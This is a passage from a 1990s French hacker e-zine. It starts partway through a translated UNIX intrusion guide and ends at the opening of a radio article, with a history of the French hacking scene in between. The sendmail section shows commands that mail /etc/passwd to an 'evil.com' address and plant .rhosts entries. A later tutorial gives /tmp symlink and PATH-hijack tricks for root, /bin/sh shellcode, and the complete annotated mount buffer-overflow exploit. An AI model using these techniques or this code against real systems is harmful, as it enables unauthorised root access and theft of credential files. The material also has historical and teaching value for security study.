fenetres peux etre captures ou regardes, les touches pressees par les utilisateur peuvent etre espionees, les programmes executes a distance, etc... De plus, si la cible fais tourner X et accepte les connexions telnet sur le port 6000, cela peut etre utilise pour une attaque "DENIAL OF SERVICE", le systeme de fenetre cible etant souvent paralyse pour une courte duree. Une methode pour determiner la vulnerabilite du serveur X et de s'y connecter avec la fonction WOpenDisplay(). Si la fonction retourne NULL, alors tu ne peut pas acceder a l'affichage de la victime (WOpenDisplay fait partie de SATAN). char *hostname; if (XOpenDisplay(hostname) == NULL) { printf("Cannot open display: %s\n", hostname); } else { printf("Can open display: %s\n", hostname); } evil % opendisplay victim.com:0 Cannot open display: victim.com:0 Les terminaux X, meme s'ils sont moins puissants qu'un systeme UNIX complet, peuvent avoir leurs propres problemes de securite. Certain terminaux X permettent des acces rsh non restreints, te permettant de demarrer un programme client X dans le terminal de la victime avec l'affichage apparaissant sur ton propre ecran. evil % xhost +xvictim.victim.com evil % rsh xvictim.victim.com telnet victim.com -display evil.com Dans tous les cas, nous pouvons penser que la securite windows dans vos utilisateurs reseau et votre systeme de fichiers peuvent etre aussi dangereux qu'un "+3" dans votre hosts.equiv ou un acces root sans password. Ensuite tu examines sendmail. Sendmail est un programme tres complexe qui as une longue histoire de problemes de securite derriere lui, notamment la fameuse commande "wiz" (heureusement retiree depuis longtemps de toutes les machines). evil % telnet victim.com 25 connecting to host victim.com (128.128.128.1.), port 25 connection open 220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT expn decode 250 <"|/usr/bin/uudecode"> quit Faire marcher l'alias "decode" est un risque de securite. Il permet aux attaqueurs potentiels d'ecraser n'importe quel fichier qui est writable par le posseseur de l'alias --- souvent un daemon, mais potentielement n'importe quel utilisateur. Observe se morceau de courier --- il va placer "evil.com" dans le fichier .rhosts de l'utilisateur "zen" si celui-ci est writable: evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail \ > decode@victim.com Si aucun repertoire utilisateur n'est connu ou writable, une variation interessante consiste a creer un fichier /etc/allises.pag qui contient une commande que tu desires executer sur la cible. Cela peut marcher car sur plusieurs systemes les fichiers aliases.pag et aliases.dir qui controlent les alias du mail sont writable par tous. evil % cat decode bin: "| cat /etc/passwd | mail zen@evil.com" evil % newaliases -oQ/tmp -oA`pwd`/decode evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null. Beaucoup de choses peuvent etre trouvees juste en demandant a sendmail si une adresse est acceptable (vrfy), ou en quoi une adresse se developpe (expn). Quand les services rusers et finger ne sont pas presents, vrfy et expn peuvent toujours etre utilises pour identifier les comptes utilisateur (cible potentielle). Vrfy et expn peuvent egalement etre utilises pour determiner si l'utilisateur filtre son mail a travers un programme qui peut etre exploite (par exemple:vacation, mail sorters, etc...). Cela peut etre une bonne idee de suprimmer les commandes "vrfy" et "expn". Il y a deux bugs bien connus qui devraient etre testes. Le premier a ete definitivement supprime dans la version 5.59 de berkley; pour les versions de sendmail anterieures a la 5.59, "evil.com" est ajoute, malgre le message d'erreur, avec le header au fichier specifie. % cat evil_sendmail telnet victim.com 25 << EOSM rcpt to: /home/zen/.rhosts mail from: zen data random garbage . rcpt to: /home/zen/.rhosts mail from: zen data evil.com . quit EOSM evil % /bin/sh evil_sendmail Trying 128.128.128.1 Connected to victim.com Escape character is '^]'. Connection closed by foreign host. evil % rlogin victim.com -l zen Welcome to victim.com! victim % La seconde faille, suprimee seulement recemment, permet a n'importe qui de specifier une commande shell et/ou "PATHNAMES" (voir plus bas) et/ou une adresse de destination. Les tentatives pour garder les details secrets ont ete vaines et les discussions dans les mailling lists et dans les newsgroups ont mene a la revelation de l'exploitation de ce bug. C'est ainsi qu'avec bien des bugs UNIX, pratiquement tous les sendmail etaient vulnerables car ils partagent la meme sructure generale de code. Une attaque typique pour extraire le fichier passwd devrait ressembler a ca: evil % telnet victim.com 25 Trying 128.128.128.1... Connected to victim.com Escape character is '^]'. 220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04 mail from: "|/bin/mail zen@evil.com < /etc/passwd" 250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok rcpt to: nosuchuser 550 nosuchuser... User unknown data 354 Enter mail, end with "." on a line by itself . 250 Mail accepted quit Connection closed by foreign host. evil % Au moment ou j'ecris ces lignes, la version 8.6.4 de sendmail est la seule variante qui se voit tous les bugs de securite recents corriges. Bon, ben nous voila a la fin. J'espere que ca t'a plu et si tu as des choses a redire, eh bien envoie un mail a phe@mygale.org. Voila, j'espere avoir eclaire la voie au hacker qui debute et meme a ceux qui sont vieux et ceux qui on la memoire defaillante avec l'age. :) Mmm, je tiens a remercier mikasoft avec qui j'ai traduit l'article et je tiens a me remercier moi-meme pour mes hacker's & bibi notes. :) Allez greats to: MIKASOFT, SORCERY,KEWL,GLOU || BLITZ ;),pixel4,sd4,BYOND les grands :) WHYMAS,Morgan,mon chien,est toi qui lis cet article =) puis bien sur TOUS LES MENBRES DU PHE qui compte ]hotcode[ , kewl , mikasoft, dhea,mikasoft,zezebar,CoD4 (hehe, en s'en serait doute), captnt , et puis qui sait, peut etre toi! :) D'ailleurs, si tu veux venir, :) envoie nous ta candidature et fais gaffe, je suis un severe moi! :) Tiens, on recherche des gars qui codent bien, genre demo, histoire de nous faire de belles intros qui font WOW quand tu les regardes :) (mmm, ca existe le bump mapping en VT100 ?)! Allez BYE all! """""""""""""""""""""""""""""assenaV rof """"""""""""""""""""""""""""""" ------------------------------------------------------------------------ NB: Eh, CoD4, remercie donc aussi oCtag0n, qui s'est soule a corriger les fautes d'orthographe et de mise en page et de style et de...=) J'espere que ton texte est ainsi devenu comprehensible, tout en gardant un caractere Cod4'esque. =) ------------------------------------------------------------------------------- NoRoute #1 þ French Scene ? þ 4763 þ NeurAlien þ NoRoute #1 ------------------------------------------------------------------------------- Ce texte a ete ecrit par NeurAlien pour Phrack. L'esprit qui se degage de ce texte est excellent et reflete tout a fait l'actualite (bon a part nivo net bien entendu mais les gens n'ont pas change...) On espere qu'il aurait accepte la parution de son article dans NoRoute... -=-=-=-=-=- French Scene -=-=-=-=-=- By NeurAlien The French scene has always been portrayed as weak by both French and foreign people. There's a paradox here: France was one of the first countries to develop a modern network (in 1981) YET there have been few _good hackers_. How is that explained? I DUNNO ! In fact, stating that France is underdeveloped at a hacker level is partly false. In France, hackers have always been isolated or hidden in little isolated groups. Whenever a good group formed, everyone was quickly busted by DST (the agency in charge of computer fraud). Moreover, this agency (DST) is somewhat effective and hacking has been illegal here since 1988. The risks when you are caught are VERY HEAVY and the trial lasts forever! Usually, it takes 3 years to go to trial and the material is ALWAYS seized even if you're not charged with anything!. The Videotex initiative that provided France such a breakthrough in technology is now an handicap because it can't follow the evolution of modems and isn't well adapted for networking with the Internet. I- The Videotex aka Minitel ------------------------ Minitel has been developed in 1981 by France Telecom. It was excellent at the time but it hasn't evolved very much. Let's see what hacking has been like in the Minitel world. To explain a little what "Minitel hacking" was, I must detail a little how Teletel (the network that supports Minitel) works. Teletel is based on X25 and provides multiple price levels: Teletel 0 (T0) is free for the user, costs a lot for the server. Teletel 1 (T1) costs a local call to the user, the price of the X25 collect connection to the server. Teletel 2 (T2) costs the price of a local call + X25 communication (6+ cents per minute) to the user.) Teletel 3 (T3) costs T2 + a charge that is reversed to the server (costs 20 cents to $1 per minute to the user.) A lot of servers are accessible only in T3 for the users. The principle of hacking Teletel was to find a the X25 number corresponding to the T3 CODE in order to log on the T3 server from T2 level. Eventually, there could be a password on the T2 access. Actually, it's very basic and very dumb hacking since you can only do some scanning to find the x25 number of the servers. T1 was used for more professional type servers and the hackers that used to hack T1 were better than T2 hackers. T2 K0d3z were very popular among wannabe hackers, some Special Interest Groups about T2 were formed on a lot of servers and there was even a server dedicated to T2 codes. The quality of information has always been extremely low in this kind of club. Moreover, the kind of k0dez kidz on these SIGs and servers were particularly dumb (sorry for them). It got really bad in 1991 when a lot of T2 guys started to flame each other, accusing them of leeching some T2 codes from one server and posting them to another, saying that the other guys were ripping everyone off etc... It may be continuing now but I'm totally uninterested by these people so I completely left this scene. The "good ones" of the T2 K0d3z k1dz stopped T2 (it's not free so it's too expensive!). They usually started to Hack T0 which is totally free. (it's like a 1-800 for Teletel). The servers of T0 are nearly all of the "restricted access" kind. But they have weak protection schemes and can be easily bypassed with some experience. The hackers of T0 servers don't usually know each other and some of them may form a kind of little "islands". (I'm calling them "islands" because it is always placed in an Information System on T0, deep within the system. There are perhaps 10 or so "islands" that have no connection with other hackers. A typical "island" consists of 5 to 10 hackers. Some hackers may go on 2 or more "islands" but prefer to keep the presence of both "islands" secret. Why? In order not to destroy both if one of them is found and shut down! One reason most never heard of these person is that there is nearly no connection between the Teletel world and the Internet. The only way to escape to Internet and Intl X25 is Teletel 1 (T1). II- When Teletel goes professional ------------------------------- As I said, the T1 is the only way for a Teletel hacker to evolve to hacking Internet or International ASCII X25. On Teletel 1, you can sometimes log on to some interesting Unixes, Vaxes etc. T1 is also the only way on Teletel to use the International X25 network. You have to get a Transpac NUI to call a foreign address from T1. Until 1991, the Transpac NUIs were a 4 to 6 random alphanumeric characters. A man called IER had made an NUI Scanner that allowed him to find NUIs by scanning out every 4 character NUI. It WAS effective, but Transpac changed to a 6 character NUI. (IER was busted and caught. No news from him since that day!) Many good hackers used T1 a lot to hack systems and to go on the Internet and the Intl X25 networks. For example, you may have heard of people like Netlink, Furax, Jansky or Synaps. They hacked X25 and Internet but it seems that each of them was busted and caught. Some are still alive on the Net, but some aren't!!! Some French hackers were really good but it seems that no one can hide very long from the DST. They are very effective, and with the help of France Telecom, they trace back a lot of calls. Places like QSD haven't been used very much by the French because of their lack of technological knowledge. ahem... Moreover, QSD/The Line is tapped by governmental agencies so g00d French hackers don't like it. IV- The groups ---------- Some groups have been formed in France but they've never lived long enough to give new hackers the knowledge of the old hackers. Some groups were: NICK, Hardcore Hackers, Piratel, TeKila Underground. Many of them were hacking systems in Teletel 1. A group called CCCF appeared in 1991. It was founded by Jean Bernard Condat and in fact it was not really a group. This guy, JBC, is deft at maneuvering people into doing what he wants. He organized fake contests like "The price of the Chaos" to get more information and then act as if he personally discovered the hacks that were given to him. He recently started the Chaos newsletter where nothing originates from him...it's taken from everywhere and from his personal contacts. He has big power because he works for SVP which is a private information company that has the goal of providing information to whoever wants it, for a large amount of money. Nobody knows what JBC really wants but he is definitely a threat to the underground. Somebody, I don't recall who, already mentioned that in Phrack. V- Phreaking in Phrance -------------------- Phone phreaking became really active in France in 1992 after the massive release of a blue box that worked in France. Several months later discovery of this caused the death of blue boxing from France. The blue box program was running on ST and several people that used it formed the TeKila Underground. As far as i know, this was an happy group that had a lot of parties and liked smoking... :) They weren't very effective: just into using the blue box. Then came the movement of the "Horlogers", it was due to the credit you could gain if you connected in Teletel 3 on some server. The "horlogers" were staying HOURS and DAYS on a server with blue box just to have more credit (counted in minute of connection) on those server. They were staying connected on a place called "L'horloge" (the timer) that enabled you not to be disconnected by the server when being idle for a long time. Blue boxing is now very hard in France. The Australian blue box ceased to work and a lot of phreakers couldn't phreak anymore. The real problem in France is that nobody (or almost nobody) knows how the France Telecom phone network works so we can't really use any flaws in this system. Calling cards have been heavily used in France, placing the country in the top ten consumers of stolen CC's. When ATT MCI saw that, they contacted France Telecom and now each calling card from ATT, MCI can't call back to France. Moreover, FT's CC called "Carte France Telecom" (CFT or CP) is traced and recorded: I mean, when the person who owns the CFT receives the bill, written on the bill is the number of the caller and of the called party. HARD isn't it? Recently, some busts were done on ATT and MCI CC users. They are now awaiting trial. VI- Magazines --------- Back before 1990 a magazine was published twice and sent to every single university in France. It was called "Hackito" from the "Hackito ergo sum" motto. (I've never found an issue of it, but if you have one, send me it to me in email.) There is also this shitty zine called Chaos... Now, a new zine is making the underground react in France: It's called "N0 Way" and I'm the Editor. This magazine is written entirely in French. The current issue is number 3. Anyone wanting to submit something to "N0 Way" can send me a message in Email. Today we are seeing a lot of people in France wanting to know more about hacking. It seems to have taken off here but not as much as in Holland or in the USA. Email me to receive "N0 Way": an133729@anon.penet.fi ++NeurAlien. ------------------------------------------------------------------------------- NoRoute #1 þ Introduction aux exploits þ 4764 þ s0RC3Ry þ NoRoute #1 ------------------------------------------------------------------------------- Introduction aux exploits Comment comprendre ce qu'on fait sur un systeme. Introduction------------------------------------------------------------------- Ouaiiis je suis root c kewl. Reaction typique du mec moyen dans #hack qui ne sait faire que deux choses: echanger des passwords et executer des exploits. Oui, mais. J'ai toujours ete tres vexe par le fait d'etre arrive si tard dans le monde du hack... Tout est actuellement protege et corrige, et il en resulte une linearite dans le hack qui reste assez deplaisante : on se logge, on utilise l'exploit qu'on trouve n'importe ou... Et on a un root sur une becanne. La difference maintenant entre bon hacker et petit rigolo, c'est que le petit rigolo se fait reprendre son root dans la semaine qui suit son acquisition, alors que le "bon hacker" l'exploite inlassablement pendant des mois.. Puis l'abandonne pour un autre.. Bien entendu le 'vrai bon hacker' -sic- ne fait pas que chopper des roots a droite a gauche... =) Mais la n'est pas la question.. Devant ce manque d'imagination assez deplorable chez la plupart des 'hackers a la mode', je me propose d'expliquer le fonctionnement de trois types d'exploits tres classiques dans le hack, que chacun de vous a surement deja utilise plus d'une fois... =) Je m'attarderai surtout sur le dernier type, le plus recent et celui qui genere exploit sur exploit en ce moment, j'ai plus ou moins nomme le buffer overflow. drwxrwxrwt---7-root-----root---------2048-Mar--2-12:38-/tmp/------------------- Toute une serie d'exploits utilise le fait que /tmp est world writable. /tmp est utilise par un grand nombre de programmes suid pour y stocker des fichiers temporaires, fichiers qui sont souvent ecrits avec les permissions du root... Le truc dans ce cas est assez simple: on passe par un lien symbolik. Un lien symbolique peut etre mis par n'importe qui, et c'est une fonction unix que beaucoup de roots regrettent encore aujourd'hui. Il permet a un user normal de faire un lien entre un fichier du root (par exemple /.rhosts) et un fichier determine par l'user (par exemple /tmp/.rhosts). L'interet de cette chose est que toute modification de ce fichier par un user amenera, si l'user en a le droit, a la modification du fichier linke... Par exemple, si l'user arrive a ecrire dans /tmp/.rhosts, alors il modifiera /.rhosts. L'interet de la chose est qu'on peut choisir un nom pour le fichier "image", le lien symbolique: par exemple, ln -s /.rhosts /tmp/.Xlock donnera au fichier /tmp/.Xlock les memes proprietes que le fichier /.rhosts, et toute modification de /tmp/.Xlock par un process root entrainera une modification de /.rhosts tout a fait identique. On voit donc d'ici l'interet de l'exploit: en prevoyant qu'un process root ecrira un fichier de nom AGAGA sur le disque a un endroit precis ou nous, user normal, avons acces, et en sachant que l'on peut determiner ce qui va etre place dans AGAGA, on peut modifier un fichier du root en placant un lien symbolique de ce fichier vers AGAGA. Il suffit que le programme suid ne verifie pas l'existence d'AGAGA avant d'ecrire dedans... Un exemple il y a un petit bout de temps deja avec XF86 sous linux: beigebox:/tmp> ln -s /var/adm/utmp .tX0-lock beigebox:/tmp> startx Fatal server error: Server is already active for display 0 If this server is no longer running, remove /tmp/.tX0-lock and start again. - le fichier .tX0-lock sert de lock a XF86 et lui permet de savoir si un server tourne deja et si oui, sous kel process. beigebox:/tmp> cat /var/adm/utmp 116 beigebox:/tmp> Le probleme venait du fait que XF86 verifiait uniquement si le fichier .tX0-lock appartenait a root avant d'ecrire dedans son numero de process, puis concluait qu'un serveur etait deja lance et abandonnait son lancement. Du coup, il etait possible d'ecrire n'importe quoi dans n'importe quel fichier appartenant a root en passant par ce lien... Une autre source d'exploits bien connue passait par le fait que sur certains systemes mal administres, le repertoire /tmp etait drxwrxwrxw, c'est a dire que tout le monde avait la possibilite d'enlever un fichier de ce repertoire. Un seul exemple suffira: prenons par exemple mgetty qui, sur mon systeme, cree un fichier de log log_mg.ttyS2. Il contient des chaines d'init de modem et donc par endroit, un "+ +". La meilleure maniere de chopper le root sur un systeme utilisant mgetty est donc la suivante dans ce cas : beigebox:/tmp> rm log_mg.ttyS2 rm: remove `log_mg.ttyS2, overriding mode 0644? y beigebox:/tmp> ln -s /.rhosts log_mg.ttyS2 [attendre une arrivee de fax/appel..] beigebox:/tmp> rsh localhost -l root beigbeox:~# whoami root beigebox:~# Le probleme du /tmp sans tiny bit (-t-), c'est qu'on peut ainsi effacer kel fichier d'un programme suid root en cours pour le remplacer par n'importe quoi.. De ce fait on peut facilement imaginer un exploit pour chopper le root sur la becanne sans grand probleme... (sendmail, rdist, ...). ------execve("ls",0,0);-------------------------------------------------------- Un autre grand probleme sous unix qui a suscite grand nombre d'exploit est le classique appel a un programme depuis un programme suid sans specifier le path de ce dernier.. (voir doom_exploit.sh =). Dans ce cas, n'importe kel user peut faire executer n'importe quelle commande root a ce programme suid en suivant la methode expliquee quelques articles plus haut... C'est a dire mettre son path sur /tmp par exemple, et creer un script executable 'ls' ou autre qui contiendrait des commandes comme un /bin/chmod 04755 /bin/sh... -----Qu'est-ce-qu'un-race-?---------------------------------------------------- Je ne m'etendrais pas sur ce sujet car il est tres large. Le race est, comme son nom l'indique, une "course" contre le systeme, visant a faire effectuer a ce dernier deux taches en meme temps par exemple, a le mettre dans une situtation particuliere dans laquelle il est exploitable. Par exemple, sachant que dans les crontabs du root, il se trouve un 'find *guru* -exec rm -rf {}', le but du race serait de creer le fichier guru, puis au moment ou le find vient de le trouver, et ou il le passe dans la variable {}, faire un symbolic link de ce fichier guru vers un repertoire arbitraire comme /etc, ou /usr. Ceci permet a quiconque de detruire un fichier appartenant au root sur le systeme, ce qui n'est pas si mal que ca dans le fond... (une telle condition revient en gros a un /tmp drwxrxwrwx). Non, je ne delire pas, une telle aberation s'est bien trouvee dans les crontabs par defaut de la RedHat 2.x... -----strcpy(buffer,argv[1]);--------------------------------------------------- Le plus joli des exploits. Le buffer overflow. Celui qui parait le plus propre et efficace... Une compilation, une execution, un root et pas de traces... Quand on compare ca a un psrace ou un mail exploit de sunos, qui, quand ils foirent, foutent des centaines de mails au root accompagnes de core dans tous les sens, on est plutot heureux de voir que ca a ete invente... =) Comment ca marche ? Il faut tout d'abord que nous comprenions le principe d'un appel de fonction... Sous linux (je prendrai cet exemple mais cela est valable sous beaucoup d'Os..), et sur un 80386 en general, on considere trois zones de donnees independantes: le segment de donnees, ou sont stockees des valeurs a adresse constante lors de l'initialisation des programmes, le segment de code ou se trouve le code meme du programme, et le segment de pile (stack en anglais) ou sont passees des variables pour passages temporels de donnees. Nous nous interessons ici au segment de stack. Son architecture, sur un 386, est telle que la partie haute de la memoire ( -> FFFFFFFF) correspond au 'fond' de la pile (SP -> 0) et que lorsqu'on ajoute des donnees dans la pile, ces donnees sont passes en dessous dans la memoire. Les deux instructions utilisees en majorite par la pile sont PUSH et POP. PUSH permet d'inclure une nouvelle valeur dans la pile. POP en retire une. A tout moment, un pointeur de pile (SP) est mis a jour et correspond a la partie la plus basse de la pile, c'est a dire a la zone de depart du dernier element pose dans la pile. Ah oui, j'oubliais. Une connaissance minimale de l'assembleur semble requise pour bien comprendre ce chapitre =)... Voici un shema representant la pile sur un pc, au fur et a mesure qu'on y entre des valeurs: PUSH "123" [ 123] PUSH "ABCDEFG" [ ABCDEFG123] POP AX ABCD -> AX (4) [ EFG123] Lorsqu'on PUSH des valeurs dans la pile, elles sont donc ajoutees comme sur le shema: SP est decremente de la valeur de cette variable, pour qu'elle aie la place de se placer dans la pile sans "bouffer" les autres, puis la variable est posee dans la pile a l'offset SP. Lorsqu'on POP un registre, comme AX=4b, on retire 4 bytes de la pile et SP est incremente de 4. Nous sommes ici en 32 bits.. J'espere que le principe de la pile, "premier entre dernier sorti", est bien compris car il est determinant pour la suite... Lors d'un call, les variables passees a la fonction et que la fonction doit nous renvoyer doivent etre passees de l'une a l'autre d'une maniere souple. Nous utilisons pour cela la pile (en fait c'est le compilo qui ne nous laisse pas le choix =). Voici un exemple de traduction de ce que je viens d'essayer de dire d'une maniere claire et comprehensible: function(a,b); push b; push a; call __function(); pop ax; pop bx; Et dans ax nous avons la valeur a renvoyee par la fonction, et de meme dans bx nous recevons la valeur b. Est-ce bien clair jusqu'ici ? Compliquons la chose.. Lors du call de la fonction, il se passe ceci: __function: (instructions) (relatives a) (la fonction) RET Le RET est une instruction qui va donner a notre fonction l'ordre de revenir a l'endroit ou on l'a appele. Evidemment comme intel aime bien nous compliquer la vie, RET va aller chercher l'adresse de retour dans la pile! Voici ce qui se passe en realite: Nous sommes a l'offset CS:IP. Le CS reste fixe, c'est notre segment. IP est l'adresse memoire correspondant a l'instruction push b: Instruction Etat de la pile push b; [ BBBB] push a; [ AAAABBBB] call __function [ RRRRAAAABBBB] fct: (instructions) [ RRRRAAAABBBB] fct: RET [ AAAABBBB] pop ax; [ BBBB] pop bx; [ ] RRRR devient l'adresse de retour du call, l'ip rendu par le RET. Bon mais tout cela serait trop simple si il en etait ainsi =) En realite, un pointeur de pile un peu plus evolue est utilise par le processeur et agit en fait comme un offset sur SP, il s'agit de BP. Donc dans ce cas, la pile contient l'adresse de retour, l'ancien SP, puis les variables locales. lors du call: push bp mov sp,bp sub sp,(taille allouee aux valeurs locales) On sauve l'ancien bp, SP prend sa valeur et on tient compte de la place allouee aux valeurs locales.... lors du ret: mov bp,sp pop bp On recupere notre BP, c'est SP qui determine sa position.... Ensuite le ret prendra sa valeur dans la pile et nous retournera au CS:IP suivant l'appel. N'allons pas compliquer les choses a ce point, attaquons tout de suite le cote overflow de la chose... Disons maintenant que notre __function accepte un buffer d'une taille de 16 bytes. Lors de l'initialisation de la fonction, une place dans la pile va etre allouee a ce buffer, notee ici par des X: call __function [XXXXXXXXXXXXXXXX RRRRAAAABBBB] R represente l'adresse de retour de la fonction a la fin. Imaginons maintenant que notre __function, a un moment donne, copie le buffer b dans le buffer XXX... voici le resultat pendant l'execution de la __function: __function [BBBBXXXXXXXXXXXX RRRRAAAABBBB] Mais la taille de B n'est pas limitee du tout: si jamais B a une taille disons un peu trop grosse voici ce qu'il risk de se passer: __function [BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAABBBBBBBBBBBBBBBBBB...BB] Le buffer XXX est largement depasse et vient mordre sur la valeur de retour RRRR. C'est ca qu'on appelle un buffer overflow. Maintenant le principe du buffer overflow devient plus clair: si on arrive a donner a la fin du buffer BBBB une valeur qui pointe vers une fonction a nous, qui execute un shell, alors au moment du RET, __function partira directement sur notre shell au lieu de revenir vers l'adresse originale RRRR. En fait, pour les buffer overflows "ou y'a dla place", on utilise ce qui est appele un EGG, c'est a dire un morceau d'assembleur qui execute un shell suivi d'une grande serie d'octet ayant pour valeur l'adresse de l'EGG: en remplissant ainsi le buffer XXX, lors du RET, c'est le debut du buffer XXX qui est execute soit notre EGG et donc notre SHELL. Calculer l'offset de debut de l'EGG etant assez complique, on remplit environ la moitie de l'EGG par des NOPs (0x90,E accent grave), ce qui permet un taux d'erreur assez appreciable: les NOPs sont des instructions qui ne font rien justement, et si on arrive a aterrir quelque part au milieu de ces NOPs avec notre RET modifie, alors on a gagne la partie, le shell est a nous, et pour peu que le programme soit suid, le shell est root... Voici un shema illustrant ce qu'il se passe: (pour plus de place on va supposer ici qu'on ne push que la valeur B,contenant notre EGG, avant d'appeler la fonction) N=NOP, E=code de notre shell, A=adresse du shell, R=adresse d'origine du RET. push b; __function (appel de la fonction) [XXXXXXXXXXXX RRRRNNNNNNNEEEEEEEEEEEEEEEEEEEAAAAAAAAAAAAAAAAAAAAA] (ici, notre fonction copie B dans XXX, soit notre EGG dans XXX: c'est CA qui va determiner l'exploit faisable ou pas) [NNNEEEEEEEEEEEEEEEEAAAAAAAAAAAAAAAAAAAA.......] / Arrivee ICI ~~~~~~ , le RET nous ramene dans les N, au debut du shell. Notre code shell est donc lance... Voila, j'espere que cela fut plus ou moins clair... =) Si vous voulez plus de details sur le sujet, je vous recommande vivement l'article de Aleph One dans Phrack49 qui est tout simplement excellent, et qui explique assez bien la chose... =) j'avoue que je suis assez mauvais en explications huh =) En bonus, voici le contenu de l'EGG generique (c'est le code qui execute le shell) que vous trouverez d'ailleurs en tete de tous les exploits buff overflow sous unix... u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; En fait, il fait appel a l'int 0x80 (\xcd\x80 qui permet d'executer un programme lorsque ax=0xb,bx=cx=adresse de la chaine a executer), en faisant pointer bx vers sa fin, c'est a dire ici vers /bin/sh... Comme vous pouvez le remarquer, tout 0x00 a ete enleve de l'EGG et habilement remplace par des xor ax,ax et d'autres astuces, car une copie de buffer s'arrete a la rencontre d'un 0x00... Ce qu'il faut faire pour exploiter cet EGG: le mettre dans le buffer a overflower.. trouver son adresse (__asm get esp...) et en deduire l'adresse qu'il aura dans le programme a exploiter, (ce qui inclut donc l'existance d'un offset), puis mettre avant lui une 50aine de NOPS (selon la taille necessaire pour flooder le buffer, le nombre de NOPS peut varier...) et apres lui quelques longs ayant pour valeur l'adresse du debut du buffer justement, c a dire esp - offset, ou offset est un coup de moule total =)... Voici le mount exploit (classique!) et son explication: /* Mount Exploit for Linux, Jul 30 1996 :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::""`````""::::::""`````""::"```":::'"```'.g$$S$' `````````""::::::::: :::::'.g#S$$"$$S#n. .g#S$$"$$S#n. $$$S#s s#S$$$ $$$$S". $$$$$$"$$S#n.`:::::: ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ .g#S$$$ $$$$$$ $$$$$$ :::::: ::::: $$$$$$ gggggg $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: ::::::`S$$$$s$$$$S' `S$$$$s$$$$S' `S$$$$s$$$$S' $$$$$$$ $$$$$$ $$$$$$ :::::: :::::::...........:::...........:::...........::.......:......:.......:::::: :::::::::::::::::::::::::::::::::::::::::::::::;:::::::::::::::::::::::::::: Discovered and Coded by Bloodmask & Vio Covin Security 1996 */ #include #include #include #include #include #define PATH_MOUNT "/bin/umount" /* Ca fait bien de passer par des #define BUFFER_SIZE 1024 Defines dans un code c =) */ #define DEFAULT_OFFSET 50 u_long get_esp() { __asm__("movl %esp, %eax"); /* Cette fonction retourne le SP courant. } main(int argc, char **argv) { u_char execshell[] = /* Voici notre shellcode */ "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; int i; int ofs = DEFAULT_OFFSET; buff = malloc(4096); /* On alloue 4096 bytes pour notre EGG */ if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; /* Le pointeur ptr pointe vers ce buffer */ memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); /* On remplit le buffer avec des NOP, en laissant juste la place pour le shellcode */ ptr += BUFFER_SIZE-strlen(execshell); /* Remise du pointeur a la fin des NOPS pour pouvoir.... */ for(i=0;i < strlen(execshell);i++) /* Remplir la suite avec notre shellcode */ *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; /* addr_ptr prend la place de notre ptr car il nous faut un long : l'addy de retour contient 4 bytes */ /* Cette partie va remplir la suite de notre code avec l'adresse de retour... On la place 3 fois a la fin du buffer...*/ for(i=0;i < (8/4);i++) /* Ici il reste la place pour 3 words. En fait plus generiquement, il faudrait faire quelque chose comme for(i=0;i < [fin];i+=4) */ *(addr_ptr++) = get_esp() + ofs; /* le word pointe par addr_ptr est rempli par l'adresse de notre egg et addr_ptr est incremente */ ptr = (char *)addr_ptr; *ptr = 0; /* Le dernier char doit etre mis a 0 sinon c'est tout le reste de la RAM qui est copie dans la buffer ! =) */ (void)alarm((u_int)0); /* On place une limite dans le temps d'exec.. */ /* Au cas ou ca merderait.... */ printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n"); /* On se la pete pour etre auto-op dans #hack */ execl(PATH_MOUNT, "mount", buff, NULL); /* On execute notre programme avec comme argument notre EGG */ } Les programmes dont le buffer sera exploitable sont les programmes ne controllant pas la taille des buffers lors de dumps, par exemple les programmes qui utilisent strcpy() au lieu de strncpy() qui est devenu une regle d'or en matiere de programmation systeme sous unix... J'espere que ce fichier vous donnera une autre opinion de l'exploit... Depuis que je m'interesse a la question je ne cesse de decouvrir des bugs dans mon linux (malheureusement la plupart etant dus a moi...=) et je passe ma vie a faire la chasse aux suid non-deja-exploites... =) Ca devient une vraie manie, j'y retourne j'ai un probleme avec sendmail... =] -s0RC3Ry-> NoRoute #1 ------------------------------------------------------------------------------- NoRoute #1 þ Decouverte du spectre hertzien þ 4765 þ LaRsEn þ NoRoute #1 ------------------------------------------------------------------------------- HACKING-RADIO? Decouverte du spectre hertzien by LaRsEn. Tous le monde connait le piratage informatique ou telephonique, mais bien peu connaissent le formidable univers des ondes hertziennes, c'est a dire des Radiocommunications. C'est pour cela que j'espere, a travers cet article, vous faire decouvrir la passion des ondes HF, VHF et UHF. Vous allez surement vous dire: "Mais 